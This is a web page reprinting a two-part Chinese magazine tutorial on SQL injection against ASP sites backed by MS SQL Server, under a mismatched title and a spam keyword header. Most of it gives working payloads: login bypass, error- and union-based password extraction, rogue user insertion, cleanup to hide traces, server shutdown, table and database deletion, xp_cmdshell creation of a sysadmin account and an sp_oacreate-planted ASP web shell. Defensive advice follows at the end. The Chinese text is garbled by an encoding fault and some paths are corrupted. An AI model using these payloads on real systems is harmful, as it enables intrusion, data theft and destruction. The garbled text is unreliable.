国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 開(kāi)發(fā) > 綜合 > 正文

SQLSERVER2000一些內(nèi)置存儲(chǔ)過(guò)程用法和說(shuō)明

2024-07-21 02:07:24
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

前言

計(jì)算機(jī)系統(tǒng)的安全一直是你我所重視的,但或許你一直在替系統(tǒng)安裝修正文件,防毒軟件,架設(shè)防火墻,劃定非軍事區(qū)等等,但可能由于撰寫(xiě)程序代碼的疏忽,你的背后正有一個(gè)自己營(yíng)造的大漏洞。

sql injection – 駭客的 sql填空游戲

在現(xiàn)今的應(yīng)用程序架構(gòu)中,大部分都含有數(shù)據(jù)庫(kù),以容納各式各樣的資料。而在各類(lèi)型的數(shù)據(jù)庫(kù)中,又以結(jié)構(gòu)化查詢(xún)語(yǔ)言(sql structure query language)為基礎(chǔ)的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng)(rdbms relational database management system)最為流行。

一般的程序設(shè)計(jì)師在存取數(shù)據(jù)庫(kù)時(shí),往往是利用 visual basic等第三代語(yǔ)言來(lái)組織 sql 語(yǔ)言,然后再傳遞給關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng)執(zhí)行,以建立或刪除數(shù)據(jù)結(jié)構(gòu),賦予或移除使用權(quán)限,乃至于新增、修改、刪除或查詢(xún)資料。因?yàn)殛P(guān)系型數(shù)據(jù)庫(kù)所有的執(zhí)行動(dòng)作皆是遵循 sql 命令,所以透過(guò)此種方式可以很方便地完成各種資料維護(hù)工作。但也正因?yàn)?sql 語(yǔ)言無(wú)所不能,所以稍有漏洞就會(huì)讓駭客有機(jī)可乘。這兩期文章就針對(duì)這個(gè)主題做一個(gè)深入的探討。

網(wǎng)站的資料存取一般來(lái)說(shuō)是比較危險(xiǎn)的,因?yàn)榫W(wǎng)際網(wǎng)絡(luò)是一個(gè)開(kāi)放的環(huán)境,而不像一般公司內(nèi)部網(wǎng)絡(luò),除了有計(jì)算機(jī)本身的安全設(shè)計(jì),還可以過(guò)濾篩檢員工的身分背景。網(wǎng)際網(wǎng)絡(luò)上龍蛇雜處,大部分的使用者都循規(guī)導(dǎo)矩,但少數(shù)圖謀不軌的人卻處心積慮地要侵入我們的系統(tǒng),竊取有價(jià)值的資料。但一般的網(wǎng)管人員及網(wǎng)頁(yè)設(shè)計(jì)師,可能在安全設(shè)定上有著重重防范,如架設(shè)防火墻,設(shè)計(jì)非軍事區(qū)(dmz),限制網(wǎng)站登入者的身分等等。但由于缺乏對(duì) sql 語(yǔ)言及數(shù)據(jù)庫(kù)管理系統(tǒng)的認(rèn)知,而大開(kāi)系統(tǒng)的后門(mén)。

本文針對(duì)微軟的 asp 網(wǎng)站架構(gòu)搭配 ms sql server 做一個(gè)探討及示范,希望能提供各網(wǎng)站的管理人員對(duì) sql injection 的入侵方式有個(gè)基本的認(rèn)識(shí),就筆者在撰寫(xiě)本文時(shí),利用搜尋網(wǎng)站隨意找?guī)讉€(gè)有會(huì)員機(jī)制的網(wǎng)站來(lái)測(cè)試,其中多數(shù)都有被此類(lèi)方式侵入的危險(xiǎn),大家不可不慎。
筆者在此先建立一個(gè)一般會(huì)員網(wǎng)站登入網(wǎng)頁(yè)的范例,以及相關(guān)資料表的架構(gòu)如下:
資料表的 schema 如程序代碼列表 1。

create table [tbluser] (
     [userid] [int] identity (1, 1) not null ,
     [username] [nvarchar] (50) not null ,
     [password] [nvarchar] (50) not null ,
     [pri] [tinyint] null constraint [df_tbluser_pri] default (0),
     constraint [pk_tbluser] primary key clustered
     ([userid])
)

程序代碼列表 1:存放會(huì)員資料的資料表 schema。

并在資料表加入兩筆資料內(nèi)容

insert tbluser(username,password,pri) values('admin','adminpass',10)
insert tbluser(username,password,pri) values('byron','byronpass',10)

登入網(wǎng)頁(yè)的撰寫(xiě)方式如程序代碼列表 2。

<%
if request("username")<>"" and request("pass")<>"" then
dim cnn,rec,strsql
set cnn=server.createobject("adodb.connection")
with cnn
.connectionstring=application("conn")
.open

'利用使用者輸入的資料來(lái)組合 sql 語(yǔ)法
strsql="select * from tbluser where username='" & _
request("username") & "' and password='" & request("pass") & "'"
'直接交給 sql server 執(zhí)行,這是最危險(xiǎn)的地方
set rec=.execute(strsql)
end with
if not rec.eof then
session("username")=request("username")
response.write "歡迎光臨 " & request("username")
else
response.write "您的帳號(hào)/密碼輸入錯(cuò)誤"
end if

else
%>
<form action="login.asp">
使用者名稱(chēng):<input name="username"><p>
密碼:<input name="pass" >
<p>
<input type="submit" value="確定">
</form>
<%
end if
%>

程序代碼列表 2:簡(jiǎn)單的 asp 登入網(wǎng)頁(yè)。

在程序代碼列表 2 中的 asp 網(wǎng)頁(yè)利用 vbscript 來(lái)組合查詢(xún)使用者帳號(hào)、密碼的 sql 查詢(xún)語(yǔ)法,邏輯相當(dāng)簡(jiǎn)單,若資料表中存有符合的帳號(hào)、密碼記錄,則回傳的 recordset 的 eof 屬性是 false,該使用者就算正確登入。
針對(duì)此種網(wǎng)頁(yè),我們以下就開(kāi)始利用 sql injection 的技巧來(lái)”駭”這個(gè)網(wǎng)站吧!

剪接語(yǔ)法

利用任何已知的使用者名稱(chēng)登入1:例如在網(wǎng)咖偷偷地觀察某個(gè)使用者用什么樣的帳號(hào)登入到哪個(gè)網(wǎng)站等等,或著先試試一般管理人員可能建立的使用者名稱(chēng),如:admin、administrator、supervisor、sa 等等。

在需要輸入使用者名稱(chēng)的地方鍵入以下的內(nèi)容2:
admin’--
而密碼字段隨便亂輸入,對(duì)于會(huì)被執(zhí)行的整句 sql 沒(méi)有什么關(guān)系。示意圖如圖 1。

圖 1:利用已知的會(huì)員名稱(chēng)登入,讓程序代碼跳過(guò)密碼檢查。

你可以試著將輸入使用者名稱(chēng)的內(nèi)容與程序代碼列表 2 的 sql 語(yǔ)法做個(gè)整理,將會(huì)發(fā)現(xiàn)實(shí)際傳給 sql server 的語(yǔ)法如下

select * from tbluser where username='admin'--' and password='asdf'

關(guān)鍵就是原先的 and 子句被 “--" 標(biāo)示成說(shuō)明,也就是 sql server 僅僅執(zhí)行

select * from tbluser where username='admin'

自然,若有該使用者存在,則這個(gè) sql 查詢(xún)語(yǔ)法就傳回該記錄的所有字段內(nèi)容。再按照程序代碼列表 2 的判斷方式:傳回的 recordset 是否有記錄,若有就算登入驗(yàn)證成功。則駭客就可以輕易地以該使用者的身分進(jìn)入了。
用未知的使用者名稱(chēng)登入:若沒(méi)有已知的帳號(hào),也可以用以下的方式輸入到使用者名稱(chēng)字段,便能大大方方地侵入:

‘ or 1=1--

sql server 所接收的整個(gè)語(yǔ)法變成:

select * from tbluser where username='' or 1=1--' and password='asdf'

因?yàn)榧由系?or 1=1,則不管之前的條件為合,只要某個(gè)條件為真,整個(gè)判斷式就都為真,因此回傳的 recordset 對(duì)象包含了全部的會(huì)員記錄。也導(dǎo)致程序代碼列表 2 中的 recordset 對(duì)象 eof 屬性為 false。

利用錯(cuò)誤訊息

獲取字段數(shù)量與名稱(chēng)

微軟為了方便 asp 的程序開(kāi)發(fā)者可以順利地除錯(cuò),因此每當(dāng) script 執(zhí)行錯(cuò)誤時(shí),都會(huì)透過(guò)預(yù)設(shè)的 <系統(tǒng)所在磁盤(pán)>/winnt/help/iishelp/common/500-100.asp 網(wǎng)頁(yè)將發(fā)生錯(cuò)誤的原因回傳到前端,對(duì)于開(kāi)發(fā)者來(lái)說(shuō),這是一個(gè)非常方便的錯(cuò)誤呈現(xiàn)方式。但駭客也可以利用這個(gè)錯(cuò)誤訊息取得原始 asp 中的查詢(xún)語(yǔ)法,并從中了解數(shù)據(jù)庫(kù)中資料表的架構(gòu)。例如在使用者名稱(chēng)字段輸入:
' having 1=1--
則系統(tǒng)會(huì)傳回如圖 2 的錯(cuò)誤訊息。


圖 2:故意制造錯(cuò)誤,從錯(cuò)誤訊息中找尋蛛絲馬跡。

由圖 2 可以知道存放使用者的資料表名稱(chēng)是 tbluser,且查詢(xún)中有一個(gè)字段叫 userid。因此我們?cè)俅屋斎耄?br>'group by userid having 1=1--
這回錯(cuò)誤訊息如圖 3。


圖 3:利用錯(cuò)誤訊息來(lái)了解資料表大致結(jié)構(gòu)。

再次在圖 3 的錯(cuò)誤訊息中可知查詢(xún)的字段還有 username,因此繼續(xù)以下列方式來(lái)查詢(xún)3。

'group by userid,username having 1=1--

利用上述方式取到完整查詢(xún)語(yǔ)法后,也就是輸入以下的語(yǔ)法,但不再造成執(zhí)行時(shí)期錯(cuò)誤:

'group by userid,username,password,pri having 1=1--

因?yàn)檎麄€(gè)傳遞到 sql server 的語(yǔ)法變成:

select * from tbluser where username=''group by userid,username,password,pri having 1=1--' and password='asdf'

如此列出所有字段的 group by 方式幾近等于沒(méi)有 group by,但語(yǔ)法完全正確表示所有的字段都已經(jīng)包含在其中了。駭客就此可以約略估計(jì)資料表的字段結(jié)構(gòu)。

在輸入帳號(hào)的地方執(zhí)行以下語(yǔ)法便可以加入自訂的使用者到資料表中。

';insert into tbluser values('hacker','hacker',10)--

獲取字段資料型態(tài)

若有數(shù)據(jù)域位格式不對(duì),導(dǎo)致無(wú)法加入自訂使用者,也可以利用下列語(yǔ)法傳回的錯(cuò)誤訊息來(lái)判讀數(shù)據(jù)域位格式:

'union select 'abc',1,1,1 from tbluser --

結(jié)果傳回如圖 4 的錯(cuò)誤訊息。


圖 4:利用錯(cuò)誤訊息來(lái)判斷字段的資料型態(tài)。

在這里我們透過(guò) union 語(yǔ)法來(lái)組合兩句 select 查詢(xún),第一句 select 語(yǔ)法的第一個(gè)字段 userid 是 int 格式,但對(duì)應(yīng)的第二句 select 語(yǔ)法;第一個(gè)字段的資料是 varchar 格式的 ‘abc’,因此出現(xiàn)如圖 4 的錯(cuò)誤訊息。駭客也由此得知資料表第一個(gè)字段的資料型態(tài)是 int。有耐心地把一個(gè)個(gè)字段測(cè)試完畢后,便可以得到整個(gè)資料表的字段格式。

獲取會(huì)員的帳號(hào)密碼

利用這個(gè)技巧,還可以再進(jìn)一步獲取使用者的帳號(hào)和密碼,例如先以下列語(yǔ)法詢(xún)問(wèn)帳號(hào):

'union select username,1,1,1 from tbluser where username>'a'--

iis 回傳錯(cuò)誤訊息如圖 5。

圖 5:利用錯(cuò)誤訊息來(lái)取得使用者帳號(hào)和密碼。

因?yàn)閭骰氐挠涗?#8221;admin”是 nvarchar 格式,而透過(guò) union 對(duì)應(yīng)到原先 int 數(shù)據(jù)域位,因此有圖 5 的錯(cuò)誤訊息。由以上的錯(cuò)誤可以得知有一個(gè)稱(chēng)為”admin”的帳號(hào)存在,之后再以下列語(yǔ)法獲得該帳號(hào)的密碼。

'union select password,1,1,1 from tbluser where username='admin'--

錯(cuò)誤訊息如圖 6。


圖 6:利用錯(cuò)誤訊息取得帳號(hào) admin 的密碼。

之后再繼續(xù)以下列語(yǔ)法來(lái)獲得其它人的帳號(hào)密碼。

'union select username,1,1,1 from tbluser where username>'admin'--

錯(cuò)誤訊息如圖 7。


圖 7:依序透過(guò)相同的機(jī)制取得其它人的帳號(hào)密碼。

依次替換掉 where username > 的條件內(nèi)容,就可以取得資料表中所有的帳號(hào)和密碼組合。
駭客甚至可以透過(guò)以下的語(yǔ)法將整個(gè)使用者帳號(hào)密碼串成字符串:在輸入使用者帳號(hào)的字段填入如程序代碼列表 3 的 sql 語(yǔ)句。

';declare @str varchar(8000) set @str='@' select @[email protected]+' '+username+'/'+password from tbluser where username>@str select @str as idpass into tblhacker--

程序代碼列表 3:將所有的使用者數(shù)據(jù)組成字符串,放入自訂的數(shù)據(jù)表中。

在程序代碼列表 3 中,先宣告一個(gè)長(zhǎng)度為 8000 的字符串變量 @str,再將整個(gè) tbluser 資料表的內(nèi)容組成一個(gè)字符串放到變量 @str 之內(nèi),最后再利用 select … into… 語(yǔ)法把 @str 變量的內(nèi)容放到自建的資料表 tblhacker 之中。

然后再利用前述故意營(yíng)造錯(cuò)誤的技巧換回資料內(nèi)容。

' union select idpass,1,1,1 from tblhacker--

結(jié)果如圖 8。


圖 8:取回全部的會(huì)員帳號(hào)密碼資料。

當(dāng)然事后要做一個(gè)清除的動(dòng)作,以避免系統(tǒng)管理人員的注意,依然在名稱(chēng)字段輸入如下的內(nèi)容。

' ; drop table tblhacker--

在本期的文章中,筆者介紹了一般的 sql injection 攻擊,相信你不是感到興奮且躍躍欲試,想要找?guī)讉€(gè)網(wǎng)站來(lái)開(kāi)刀,就是感到毛骨悚然,趕快檢視一下自己的系統(tǒng)。不管你是何者,筆者期盼本文不致遭到誤用,若有心測(cè)試別站的安全程度,建議你將成果告知該站的管理人員,讓整個(gè)網(wǎng)際網(wǎng)絡(luò)的世界更為安全,一般人才會(huì)愿意流漣在其上,而我們信息人員才有更好的未來(lái)。

在下期文章中,筆者將繼續(xù)介紹進(jìn)階的 sql injection 攻擊,并提出因應(yīng)的防范之道,期待再次與你見(jiàn)面。

后記:本文所舉各例,并非單指microsoft sql server而言,事實(shí)上所有關(guān)系型數(shù)據(jù)庫(kù)如oracle等均是如此。同時(shí),本文所舉各例,并非單指asp而言,事實(shí)上對(duì)所有動(dòng)態(tài)網(wǎng)頁(yè)如jsp、php等均是如此(即使你的系統(tǒng)還停留在cgi技術(shù)也是一樣),奉勸各位實(shí)時(shí)檢視您的系統(tǒng),防患未然。

(本文由sql server電子雜志 http://www.sqlserver.com.tw 授權(quán)臺(tái)灣微軟獨(dú)家轉(zhuǎn)載)

注釋?zhuān)?br>
1

就筆者觀察,現(xiàn)今很多的有會(huì)員機(jī)制的網(wǎng)站在登入時(shí)都是以身分證字號(hào)當(dāng)作登入帳號(hào),所以駭客只要想辦法拿到某個(gè)會(huì)員的身分證字號(hào)就可以試試這個(gè)方法。

2

以下的 sql injection 登入方式都是只利用使用者帳號(hào)的字段,輸入不同的 sql 語(yǔ)法,以組織各種可能的執(zhí)行方式,而都利用 “--” 將后面的密碼字段標(biāo)示成 sql 說(shuō)明。

3

駭客的第一特質(zhì):有耐心。筆者因此就沒(méi)有做駭客的天賦,為了撰寫(xiě)這篇文章,筆者反反復(fù)覆地測(cè)試各個(gè)網(wǎng)站,重復(fù)的過(guò)程非常乏味,所得結(jié)論是既然有這個(gè)精力,筆者寧愿多看點(diǎn)書(shū),賺取正當(dāng)?shù)氖杖搿?br>


 

 

sql injection – 駭客的 sql填空游戲(下)

sql server 本身提供了非常多的函數(shù)、預(yù)存程序、延伸預(yù)存程序來(lái)輔助 t-sql,好讓程序設(shè)計(jì)師透過(guò) t-sql 完成商業(yè)邏輯運(yùn)作所需的預(yù)存程序。但一般的使用者較熟悉以 visual basic 等程序語(yǔ)言來(lái)撰寫(xiě)存取資料的程序,因而對(duì)此類(lèi)的功能所知不多,更別提要如何防范駭客透過(guò)這一類(lèi)的功能來(lái)遂行其目的。

使用具破壞力的語(yǔ)法

以下列舉部分的功能稍做討論。

停掉 sql server 的執(zhí)行

直接輸入 shutdown 命令,要求 sql server 停止執(zhí)行。在網(wǎng)頁(yè)上輸入帳號(hào)的地方可以直接鍵入以下語(yǔ)法便可:

' ;shutdown--

破壞內(nèi)容

當(dāng)然,只要權(quán)限夠,也可以執(zhí)行有破壞性的 sql 語(yǔ)法1 。如刪除某個(gè)數(shù)據(jù)庫(kù):

' ;drop database <數(shù)據(jù)庫(kù)名稱(chēng)>--

刪除數(shù)據(jù)庫(kù)內(nèi)某個(gè)資料表:

' ;drop table <資料表名稱(chēng)>--

清空某個(gè)資料表:

' ;truncate table <資料表名稱(chēng)>--

抑或是以 delete 清空資料表:

' ;delete from <資料表名稱(chēng)>--

使用進(jìn)階且功能強(qiáng)悍的延伸預(yù)存程序

這一類(lèi)的預(yù)存程序多以 xp_ 開(kāi)頭,存放在 master 系統(tǒng)數(shù)據(jù)庫(kù)的延伸預(yù)存程序中。有趣的是大部分的延伸預(yù)存程序在 sql server 所附的線上說(shuō)明中都沒(méi)有列出來(lái),也沒(méi)有說(shuō)明。筆者本想到微軟網(wǎng)站利用全文檢索找尋這些延伸預(yù)存程序的蛛絲馬跡,以列表討論,但發(fā)現(xiàn)大多是無(wú)可奉告(undocumented),看來(lái)延伸預(yù)存程序雖然功能強(qiáng)大,但微軟并不鼓勵(lì)大家使用。
筆者選幾個(gè)較有趣的分別介紹。

執(zhí)行其它應(yīng)用程序

xp_cmdshell 應(yīng)該是大家最常使用的延伸預(yù)存程序之一,透過(guò)這個(gè)延伸預(yù)存程序可以 sql server 的系統(tǒng)帳號(hào)來(lái)執(zhí)行任何應(yīng)用程序。

以下程序代碼列表 1 直接利用操作系統(tǒng)所附的 net 工具程序,在 windows 系統(tǒng)中加入一個(gè)使用者帳號(hào) hacker ;沒(méi)有密碼,并將該帳號(hào)加到 sql server,再放入到最大的使用者權(quán)力群組 sysadmin:

' ; exec master..xp_cmdshell 'net user hacker /add' exec master..sp_grantlogin 'byron-xp/hacker' exec master..sp_addsrvrolemember 'byron-xp/hacker','sysadmin'--

程序代碼列表 1:加入自訂的使用者,并賦予該帳號(hào)最大的權(quán)限。

若你還開(kāi)放網(wǎng)際網(wǎng)絡(luò)存取 sql server預(yù)設(shè)使用的 tcp 1433 埠,則駭客將有機(jī)會(huì)唐而皇之地控管 sql server。

與 registry 相關(guān)的系統(tǒng)預(yù)存程序

sql server 提供了大量與 registry 相關(guān)的延伸預(yù)存程序,以 xp_reg 開(kāi)頭作為代表2。內(nèi)容有:

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

駭客可以利用此類(lèi)的延伸預(yù)存程序存取系統(tǒng)的注冊(cè)資料,例如查詢(xún)?cè)摍C(jī)器上有哪些共享目錄,范例如程序代碼列表 2。再利用上一期的技巧,以錯(cuò)誤訊息來(lái)呈現(xiàn)結(jié)果。

create table tblsharedir(dirname varchar(100), diratt varchar(100))
insert tblsharedir exec master..xp_regenumvalues hkey_local_machine,'system/currentcontrolset ervices/lanmanserver hares'

程序代碼列表 2:利用 xp_regenumvalues 取得系統(tǒng)的共享目錄。

再利用上篇文章介紹的以錯(cuò)誤訊息來(lái)呈現(xiàn)結(jié)果的技巧,或是以下文中透過(guò) bcp.exe 工具程序?qū)?tblsharedir 輸出成檔案,都可以取得想要的結(jié)果。

與 ole automation/com 對(duì)象相關(guān)的延伸預(yù)存程序

sql server 提供了一組存取服務(wù)器外部 ole 對(duì)象相關(guān)的預(yù)存程序。它們分別是:

sp_oacreate
sp_oadestroy
sp_oamethod
sp_oagetproperty
sp_oasetproperty
sp_oageterrorinfo
sp_oastop

你可以用它們來(lái)建立 ole 對(duì)象(一般com 對(duì)象就可以了,但要支持 idispatch 接口),執(zhí)行對(duì)象的方法,讀取與修改屬性,進(jìn)行錯(cuò)誤處理。但它們無(wú)法響應(yīng)一般 ole 或 com 對(duì)象的事件。

有了 com/ole 對(duì)象的建立與執(zhí)行,對(duì)于控制系統(tǒng)來(lái)說(shuō)可算是如虎添翼,無(wú)所不能了。稍舉個(gè)例子,駭客可以利用它來(lái)取得有興趣的網(wǎng)頁(yè)的原始碼,如程序代碼列表 3:

';declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:/winnt ystem32/cmd.exe /c type c:/inetpub/wwwroot qlinject/login.asp > c:/inetpub/wwwroot qlinject/test.txt'--

程序代碼列表 3:取得 login.asp 網(wǎng)頁(yè)的內(nèi)容。

在程序代碼列表 3 中,利用 sp_oacreate 建立 “wscript.shell” 對(duì)象,并利用 sp_oamethod 呼叫 “wscript.shell” 對(duì)象的 run 方法,以執(zhí)行操作系統(tǒng)命令接口工具程序 cmd.exe,將 login.asp 輸出到 test.txt 檔案中,這時(shí)駭客只要在網(wǎng)頁(yè)上輸入 http://.../.../test.txt 就可以看到 login.asp 寫(xiě)作的方式,作為下一步侵入的基本信息。

當(dāng)然,駭客也可以利用 scripting.filesystemobject 對(duì)象來(lái)建立一個(gè) asp 網(wǎng)頁(yè)后門(mén),語(yǔ)法如程序代碼列表 4 所示:

declare @fs int,@fi int
exec sp_oacreate 'scripting.filesystemobject',@fs output
exec sp_oamethod @fs,'createtextfile',@fs output,'c:/inetpub/wwwroot qlinject hell.asp',1
exec sp_oamethod @fs,'writeline',null,'<% set objshell=server.createobject("wscript.shell") : objshell.run request("cmd") %>'

程序代碼列表 4:建立 asp 后門(mén)網(wǎng)頁(yè)。

從此透過(guò) url 就可以執(zhí)行任何執(zhí)行文件,范例如下:

http://localhost/sqlinject/shell.asp?cmd=c:/winnt ystem32/cmd.exe /c type c:/inetpub/wwwroot qlinject/login.asp > c:/inetpub/wwwroot qlinject/test.txt

其它相關(guān)的延伸預(yù)存程序

這一類(lèi)的延伸預(yù)存程序,你可能要小心的還有:

延伸預(yù)存程序的名稱(chēng)

用途

使用范例

xp_availablemedia

顯示系統(tǒng)上可用的磁盤(pán)驅(qū)動(dòng)器,如 c:/。

xp_availablemedia

xp_dirtree

顯示某個(gè)目錄下的子目錄與檔案架構(gòu)。

xp_dirtree 'c:/inetpub/wwwroot/'

xp_enumdsn

列出系統(tǒng)上已經(jīng)設(shè)定好的 odbc 資料來(lái)源名稱(chēng)(dsn data source name)。

xp_enumdsn

xp_enumgroups

列出操作系統(tǒng)上的使用者群組及該群組的說(shuō)明。

xp_enumgroups

xp_getfiledetails

獲取某個(gè)檔案的相關(guān)屬性。

xp_getfiledetails 'c:/inetpub/wwwroot qlinject/login.asp'

dbo.xp_makecab

將目標(biāo)多個(gè)檔案壓縮到某個(gè)目標(biāo)檔案之內(nèi)。
所有要壓縮的檔案都可以接在參數(shù)列的最后方,以逗號(hào)隔開(kāi)。

dbo.xp_makecab
'c:/test.cab','mszip',1,
'c:/inetpub/wwwroot qlinject/login.asp',
'c:/inetpub/wwwroot qlinject ecurelogin.asp'


xp_ntsec_enumdomains

列出服務(wù)器的網(wǎng)域名稱(chēng)。

xp_ntsec_enumdomains

xp_servicecontrol

停掉或激活某個(gè)服務(wù)。

xp_servicecontrol 'stop','schedule'
xp_servicecontrol 'start','schedule'

dbo.xp_subdirs

只列某個(gè)目錄下的子目錄。

dbo.xp_subdirs 'c:/'

xp_terminate_process

停掉某個(gè)執(zhí)行中的程序,但賦予的參數(shù)是 process id。
利用”工作管理員”,透過(guò)選單「檢視」-「選擇字段」勾選 pid,就可以看到每個(gè)執(zhí)行程序的 process id

xp_terminate_process 2484

xp_unpackcab

解開(kāi)壓縮檔。

xp_unpackcab 'c:/test.cab','c:/temp',1

以上表列的延伸預(yù)存程序是筆者在 master 系統(tǒng)數(shù)據(jù)庫(kù)中,尋找名稱(chēng)比較有趣的;經(jīng)過(guò)一一測(cè)試的結(jié)果。但不代表可以用來(lái)侵入系統(tǒng)的延伸預(yù)存程序都已經(jīng)完全列出,畢竟駭客的創(chuàng)意屢屢翻新,你必須要時(shí)時(shí)謹(jǐn)慎小心。

sql server 的工具程序

透過(guò) sql server 所提供的一些工具程序可以直接將資料表的內(nèi)容輸出成檔案,例如透過(guò) bcp 的 out 參數(shù),將儲(chǔ)存會(huì)員資料的資料表整個(gè)輸出成檔案,范例如下:

bcp northwind.dbo.tbluser out c:/inetput/wwwroot qlinject/user.txt -c -usa -p -sbyron-xp

當(dāng)然,isql.exe 和 osql.exe 也都可以辦到同樣的功能,例如:

osql -usa -p -sbyron-xp -dnorthwind -oc:/inetpub/wwwroot qlinject/users.txt -q"select * from tbluser"

這一類(lèi)的工具程序可以搭配前文的 xp_cmdshell 延伸預(yù)存程序,或是交由利用 sp_oa 系列預(yù)存程序建立的木馬 asp 來(lái)執(zhí)行,都可以達(dá)到竊取資料的目的。

對(duì)于預(yù)防 sql injection 的建議

綜合以上各種的侵入技巧,筆者在此歸納一些維護(hù)系統(tǒng)安全的建議。
盡量地利用 asp 或 asp.net 在服務(wù)器端檢查與限制輸入變量的型別與長(zhǎng)度,過(guò)濾掉不需要的內(nèi)容。要注意的是這些檢查不要放在前端。
就算在前端利用 html input 卷標(biāo)的 maxlength 屬性,或是以 jscript 撰寫(xiě)程序來(lái)設(shè)定字段長(zhǎng)度的限制,只要將該網(wǎng)頁(yè)另存新檔,修改內(nèi)容后(一般只要改寫(xiě) form 的 action 屬性以及 input 的 maxlength 屬性),重新以瀏覽器開(kāi)啟再執(zhí)行便可避過(guò)這些瀏覽器端的檢查。  asp 程序登入 sql server 的帳號(hào)不要使用 sa,或任何屬于 sysadmin 群組的帳號(hào),避免有過(guò)大的權(quán)限。 sa 一定要有強(qiáng)固的密碼,尤其是 sql server 7.0 以前的版本,在裝機(jī)時(shí)預(yù)設(shè) sa 沒(méi)有密碼,而一般管理者裝完后也忘了或怕麻煩而不更改密碼。 利用 ado 的 command 對(duì)象或 ado.net 的 sqlcommand class 來(lái)透過(guò)參數(shù)執(zhí)行 sql 語(yǔ)法,直接以 adodb 的 connection 對(duì)象執(zhí)行預(yù)存程序的寫(xiě)法一樣糟糕。范例如下:
exec spxxx 參數(shù),…

因?yàn)轳斂退尤氲?sql 語(yǔ)法一樣可以執(zhí)行:

exec spxxx 參數(shù),…;shutdown

我們可以建立一個(gè)預(yù)存程序程序代碼列表 5:

ecreate proc spuseraccount
@username nvarchar(50),@password nvarchar(50)
as
select username,password from tbluser
where [email protected] and [email protected]

程序代碼列表 5:用來(lái)找尋符合的使用者帳號(hào)密碼的預(yù)存程序。

同時(shí)將整個(gè) asp 的查詢(xún)換成如程序代碼列表 6 的寫(xiě)法:

<%
if request("username")<>"" and request("pass")<>"" then
dim cnn,rec,strsql,cmd
set cnn=server.createobject("adodb.connection")
with cnn
.connectionstring=application("conn")
.open
end with
'透過(guò) adodb.command 對(duì)象來(lái)搭配預(yù)存程序,駭客就無(wú)法
'利用組合 sql 字符串的方式來(lái)侵入系統(tǒng)
set cmd=server.createobject("adodb.command")
with cmd
.activeconnection = cnn
.commandtext = "spuseraccount"
.commandtype = 4 'adcmdstoredproc
.parameters.append .createparameter("username", 202, 1, 50, request("username"))
'202 代表 advarwchar,1 代表 adparaminput
.parameters.append .createparameter("password", 202, 1, 50, request("pass"))
set rec = .execute()
end with
if not rec.eof then
session("username")=request("username")
response.write "歡迎光臨 " & request("username")
else
response.write "您的帳號(hào)/密碼輸入錯(cuò)誤"
end if
else
%>

程序代碼列表 6:利用 adodb 的 command 對(duì)象來(lái)存取預(yù)存程序。

如程序代碼列表 6 中灰色的程序代碼區(qū)塊,將存取 sql server 預(yù)存程序的方式改以透過(guò) adodb 的 command 對(duì)象,如此駭客就不能用加入自訂 sql 的語(yǔ)法來(lái)要求 sql server 執(zhí)行額外的動(dòng)作。
改掉預(yù)設(shè)的 web 虛擬路徑,不要使用 iis 裝好后預(yù)設(shè)的 <系統(tǒng)所在磁盤(pán)>/inetpub/wwwroot 路徑,否則利用前述的檔案存取方式,很容易在該目錄下動(dòng)手腳。 不要顯示錯(cuò)誤訊息到前端。
利用 vbscript 語(yǔ)法的 on error resume next,并搭配 if err.number<>0 then 的錯(cuò)誤處理方式,自行將錯(cuò)誤重導(dǎo)到適當(dāng)?shù)腻e(cuò)誤處理網(wǎng)頁(yè),如此系統(tǒng)將更穩(wěn)固,且駭客也不易透過(guò)錯(cuò)誤訊息來(lái)探知系統(tǒng)的內(nèi)部運(yùn)作方式。
或著,也可以修改<系統(tǒng)所在磁盤(pán)>/winnt/help/iishelp/common/500-100.asp 預(yù)設(shè)網(wǎng)頁(yè),最簡(jiǎn)單的方式就是將它更改名字3。  將用不到但功能強(qiáng)大的延伸預(yù)存程序刪除。  監(jiān)控系統(tǒng)的執(zhí)行。  防火墻關(guān)閉 tcp 1433/udp 1434 埠(port)對(duì)外的聯(lián)機(jī)4 。  隨時(shí)注意是否有新的修補(bǔ)程序要上。
以上是針對(duì) sql injection 防護(hù)方式的建議,但我們應(yīng)該謹(jǐn)記于心的是世界上沒(méi)有絕對(duì)安全的系統(tǒng),只有自己時(shí)時(shí)小心,多看多聽(tīng)駭客們是否有翻新的手法,系統(tǒng)是否有異常的狀況,唯有不斷加強(qiáng)系統(tǒng)的安全措施,才能將危害降至最低。

相關(guān)網(wǎng)址

以下是一些關(guān)于 sql 以及系統(tǒng)安全的網(wǎng)址,提供給大家參考。
http://www.sqlserver.com.tw/
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.microsoft.com/security/security_bulletins/ms02020_sql.asp
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/

(本文由sql server電子雜志 http://www.sqlserver.com.tw 授權(quán)臺(tái)灣微軟獨(dú)家轉(zhuǎn)載)

注釋?zhuān)?br>
1

就筆者的觀察,一般的程序設(shè)計(jì)師多喜歡用 sql server 最大的預(yù)設(shè)帳號(hào) sa 來(lái)存取資料。因此給予駭客予取予求的權(quán)力。

2

這里表列的延伸預(yù)存程序可以透過(guò) enterprise manager 或 query analyzer 看到,但是在 sql server 線上叢書(shū)找不到相關(guān)資料。

3

筆者不建議一開(kāi)始就刪除500-100.asp,因?yàn)檫@會(huì)導(dǎo)致很難替程序除錯(cuò)。建議在程序開(kāi)發(fā)完成上線后,將 500-100.asp 更改名稱(chēng)。在自行撰寫(xiě)的 asp 檔首加入 on error resume next/if err.number <> 0 then 等,錯(cuò)誤處理應(yīng)該是在程序撰寫(xiě)時(shí)就要注意的程序架構(gòu),若為了除錯(cuò)方便,可以先以單引號(hào)讓 on error resume next 語(yǔ)法成為說(shuō)明。

4

